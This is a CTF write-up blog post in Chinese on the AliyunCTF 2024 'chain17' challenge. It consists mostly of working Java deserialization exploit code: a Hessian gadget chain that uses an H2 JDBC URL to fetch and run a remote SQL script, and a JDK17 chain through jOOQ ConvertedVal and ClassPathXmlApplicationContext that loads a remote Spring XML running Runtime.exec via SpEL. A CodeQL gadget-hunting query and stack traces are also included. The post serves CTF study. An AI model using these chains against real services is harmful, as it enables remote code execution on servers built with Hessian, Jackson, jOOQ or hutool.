aliyun2024 chain17
jerem1ah Lv4

aliyunctf2024 chain17

https://github.com/jmx0hxq/My-CTF-Challenges/tree/47b3912c59e446bfbdb5c1b5f0926d8cadeed9c9/%E7%AC%AC%E4%BA%8C%E5%B1%8AAliyunCTF/chain17

https://unk.org.cn/2024/03/28/aliyunct2024-chain17/

https://t.zsxq.com/yVsDg

https://pankas.top/2024/03/28/%E9%98%BF%E9%87%8C%E4%BA%91ctf2024%E5%9D%90%E7%89%A2%E8%AE%B0%E5%BD%95/#agent

http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html

https://xz.aliyun.com/t/14190

https://www.cnblogs.com/EddieMurphy-blogs/p/18182893

链子示意图:

image-20241025154230277

agent端

看了一下题目,首先是个hessian入口,题目给了一个自定义bean

image-20241022113330491

image-20241022113455832

agent_exp:

1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;

public class agentExp {
public static void main(String[] args) throws Exception{

Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("initialSize", "1");
setting.set("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/h2poc.sql'");
jere.util.ReflectionUtils.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
jere.util.ReflectionUtils.setFieldValue(pooledDSFactory, "setting", setting);


// pooledDSFactory.getDataSource().getConnection();

Bean bean = new Bean();
bean.setData(jere.util.SerializerUtils.serializeObjectToByte(pooledDSFactory));


POJONode pojoNode = jere.util.ToString2getterUtils.get_Jackson_buwending(bean);

AtomicReference<POJONode> atomicReference = new AtomicReference<>(pojoNode);

// JSONObject json = new JSONObject();
// byte[] payload = hessian2_serializeToBytes(atomicReference);
// hessian2_unserializeFromBytes(payload);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
hessian2Output.writeObject(atomicReference);
hessian2Output.writeMapEnd();
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
// System.out.println(Base64.getEncoder().encodeToString(data));
hessian2_unserializeFromBytes(data);




}
public static byte[] hessian2_serializeToBytes(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
Hessian2Output hessian2Output=new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return byteArrayOutputStream.toByteArray();
}

public static void hessian2_unserializeFromBytes(byte[] data) throws IOException {
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(data);
Hessian2Input hessian2Input=new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cn.hutool.core.io.resource.NoResourceException: Resource of path [blacklist.txt] not exist!
at cn.hutool.core.io.resource.ClassPathResource.initUrl(ClassPathResource.java:122)
at cn.hutool.core.io.resource.ClassPathResource.<init>(ClassPathResource.java:74)
at cn.hutool.core.io.resource.ClassPathResource.<init>(ClassPathResource.java:34)
at cn.hutool.core.io.resource.ResourceUtil.getResourceObj(ResourceUtil.java:230)
at cn.hutool.core.io.resource.ResourceUtil.readUtf8Str(ResourceUtil.java:37)
at com.aliyunctf.agent.other.Bean$BeanInputStream.<clinit>(Bean.java:53)
at com.aliyunctf.agent.other.Bean.getObject(Bean.java:27)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:568)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:688)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:772)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1150)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer._serializeNonRecursive(InternalNodeMapper.java:105)
at com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer.serialize(InternalNodeMapper.java:85)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:479)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:318)
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1572)
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1273)
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1140)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:34)
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:131)
at java.base/java.lang.String.valueOf(String.java:4218)
at java.base/java.util.concurrent.atomic.AtomicReference.toString(AtomicReference.java:276)
at cn.hutool.json.JSONUtil.wrap(JSONUtil.java:801)
at cn.hutool.json.JSONObject.set(JSONObject.java:393)
at cn.hutool.json.JSONObject.set(JSONObject.java:352)
at cn.hutool.json.JSONObject.put(JSONObject.java:340)
at cn.hutool.json.JSONObject.put(JSONObject.java:32)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:145)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:126)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:98)
at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:535)
at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:524)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2741)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2308)
at org.example.agentExp.hessian2_unserializeFromBytes(agentExp.java:79)
at org.example.agentExp.main(agentExp.java:62)

好像因为本地没有黑名单文件,造成的,不过可以执行。

image-20241025154412962

todo:

  • hessian2序列化的JSONObejct实现
  • PooledDSFactory的序列化写法
  • POJONode递归调用getter源码分析
  • 执行时抓不到Runtime.exe断点解决

server端CodeQL链子挖掘

由于环境是JDK17的,那么TemplatesImpl就无法利用了,需要找一条新的getter利用链

boogipop的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
class Serializable extends Class{
Serializable(){
this.getASupertype*() instanceof TypeSerializable
}
}
class GetterMethod extends Method{
GetterMethod(){
this.getDeclaringType() instanceof Serializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.fromSource() and
this.hasNoParameters()
}
}
class Source extends Callable {
Source(){
getDeclaringType().getASupertype*() instanceof TypeSerializable and (
this instanceof GetterMethod
)
}
}

// class SinkMethod extends Method{
// SinkMethod(){
// this.hasName("invoke") and
// this.getDeclaringType().hasQualifiedName("java.lang.reflect","Method")
// }
// }

class SinkMethod extends Method{
//寻找RCE点位
SinkMethod(){
//调⽤newInstance
exists(MethodAccess ac |ac.getMethod().getName().matches("newInstance") and ac.getMethod().getNumberOfParameters()=1 and this=ac.getCaller())
}
}
class Sink extends Callable{
Sink(){
this instanceof SinkMethod
}
}
class CallSinkMethod extends Callable{
CallSinkMethod(){
exists(Callable a|polyCalls(a) and a instanceof SinkMethod)
}
}

// from GetterMethod getter
// select getter,getter.getDeclaringType()

query predicate edges(Method a, Method b) {
//查找path
a.polyCalls(b) and
(a.getDeclaringType().getASupertype*() instanceof TypeSerializable) and
(b.getDeclaringType().getASupertype*() instanceof TypeSerializable)
}
from Source source, CallSinkMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

image-20241021150438897

1
2
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

image-20241021150340420

server端exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- https://mvnrepository.com/artifact/org.jooq/jooq -->
<dependency>
<groupId>org.jooq</groupId>
<artifactId>jooq</artifactId>
<version>3.19.3</version>
</dependency>

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.18</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class Main {

public static void main(String[] args) throws Exception {
gen("http://127.0.0.1:7777/spel2.xml");
}

public static void gen(String url) throws Exception{
try {
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);


ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

Object value = url;
Class type = ClassPathXmlApplicationContext.class;
// CtClass ctClass2 = classPool.get("org.springframework.context.org.springframework.context.support.ClassPathXmlApplicationContext");
//// Constructor constructor = ctClass2.getDeclaredConstructor(ApplicationContext.class);



ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);



POJONode pojoNode = new POJONode(convertedVal);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

byte[] data = SerializeUtil.serialize(eventListenerList);

System.out.println(Base64.getEncoder().encodeToString(data));
SerializeUtil.deserialize(data);
}
catch (Exception e){
e.printStackTrace();
}
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from:1395, Convert$ConvertAll (org.jooq.impl)
convert0:443, Convert (org.jooq.impl)
convert:518, Convert (org.jooq.impl)
convert:771, AbstractDataType (org.jooq.impl)
convert:139, DefaultDataType (org.jooq.impl)
getValue:90, ConvertedVal (org.jooq.impl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
serializeAsField:688, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:772, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1150, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
_serializeNonRecursive:105, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
serialize:85, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:479, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:318, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1572, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1273, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:242, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:4218, String (java.lang)
append:173, StringBuilder (java.lang)
toString:457, AbstractCollection (java.util)
toString:1083, Vector (java.util)
stringOf:453, StringConcatHelper (java.lang)
invokeStatic:-1, DirectMethodHandle$Holder (java.lang.invoke)
invoke:-1, LambdaForm$MH/0x000001becb191800 (java.lang.invoke)
linkToTargetMethod:-1, LambdaForm$MH/0x000001becb192000 (java.lang.invoke)
toString:266, CompoundEdit (javax.swing.undo)
toString:695, UndoManager (javax.swing.undo)
stringOf:453, StringConcatHelper (java.lang)
invokeStatic:-1, DirectMethodHandle$Holder (java.lang.invoke)
invoke:-1, LambdaForm$MH/0x000001becb00e000 (java.lang.invoke)
linkToTargetMethod:-1, Invokers$Holder (java.lang.invoke)
add:213, EventListenerList (javax.swing.event)
readObject:309, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
invokeReadObject:1104, ObjectStreamClass (java.io)
readSerialData:2434, ObjectInputStream (java.io)
readOrdinaryObject:2268, ObjectInputStream (java.io)
readObject0:1744, ObjectInputStream (java.io)
readObject:514, ObjectInputStream (java.io)
readObject:472, ObjectInputStream (java.io)
readObj:615, IoUtil (cn.hutool.core.io)
readObj:582, IoUtil (cn.hutool.core.io)
readObj:563, IoUtil (cn.hutool.core.io)
deserialize:70, SerializeUtil (cn.hutool.core.util)
gen:150, Main (org.example)
main:95, Main (org.example)

jdk17下jvm参数添加

https://blog.csdn.net/AttleeTao/article/details/108443547

1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED

image-20241021113257542

不要引入jere-ysoserial外部依赖

server-todo:

  • unknow的链子写法和pop的写法的差别,运行不起来。
  • 链子构造,如何知道需要哪些补充完全。
 Comments